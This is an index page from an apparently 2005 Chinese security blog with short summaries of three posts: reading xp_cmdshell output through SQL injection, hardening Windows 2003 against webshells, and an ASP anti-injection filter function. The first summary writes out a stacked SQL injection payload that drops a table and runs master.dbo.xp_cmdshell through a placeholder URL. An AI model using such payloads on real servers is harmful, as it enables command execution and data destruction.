All about security

scripts.girl

导航

2005年5月17日

xp_cmdshell 执行回显问题的一点经历

摘要： 创建表，加了个自动编号的ID,并把xp_cmdshell的回显内容导入临时表http://www.xxx.com/aa.asp?=1 ;drop TABLE D99_CMD; create TABLE D99_CMD([Data][varchar](1000),ID int NOT NULL IDENTITY (1,1));insert D99_CMD exec master.dbo.xp_cmd... 阅读全文

posted @ 2005-05-17 00:41 isno's world 阅读(1529) 评论(2) 推荐(0)

2003服务器防止海洋木马的安全设置

摘要： 删除以下的注册表主键:WScript.ShellWScript.Shell.1Shell.applicationShell.application.1WSCRIPT.NETWORKWSCRIPT.NETWORK.1regsvr32/u wshom.ocx回车、regsvr32/u wshext.dll回车Windows 2003 硬盘安全设置c:\administrators 全部system 全... 阅读全文

posted @ 2005-05-17 00:38 isno's world 阅读(310) 评论(0) 推荐(0)

ASP最新SQL防注入过滤涵数

摘要： 作者：[微风山谷] 来源：[世纪安全网络--21SaFe.CoM] 浏览：[ 33 ] 评论：[0] Function Checkstr(Str) If Isnull(Str) Then CheckStr = "" Exit Function End If Str = Replace(Str,Chr(0),"", 1, -1, 1) Str = Replace(Str, """", "&... 阅读全文

posted @ 2005-05-17 00:38 isno's world 阅读(412) 评论(0) 推荐(0)